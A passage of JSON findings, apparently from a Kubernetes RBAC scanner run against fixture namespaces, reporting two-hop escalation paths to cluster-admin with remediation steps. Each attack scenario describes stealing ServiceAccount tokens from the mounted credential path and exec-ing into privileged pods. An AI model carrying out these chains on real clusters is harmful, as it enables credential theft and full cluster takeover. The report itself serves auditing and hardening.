          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-exec:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa\n  2. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-exec` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/privesc-fixtures/sa-pod-exec` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-decoy-sa` and inherit whatever ServiceAccount or host privileges that container holds.",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-decoy-sa`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-decoy-sa`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-pod-create:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cert-manager/cert-manager` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-pod-create` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-pod-create` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cert-manager/cert-manager` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "The identity `ServiceAccount/cert-manager/cert-manager` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cert-manager/cert-manager`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cert-manager/cert-manager",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-workload-mutate:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cert-manager/cert-manager` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-workload-mutate` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-workload-mutate` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/cert-manager/cert-manager`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "The identity `ServiceAccount/cert-manager/cert-manager` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cert-manager/cert-manager`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount cert-manager/cert-manager",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/vulnerable/privileged-reader:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cert-manager/cert-manager` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/privileged-reader` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/vulnerable/privileged-reader` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/cert-manager/cert-manager` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "The identity `ServiceAccount/cert-manager/cert-manager` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cert-manager/cert-manager`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cert-manager/cert-manager",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
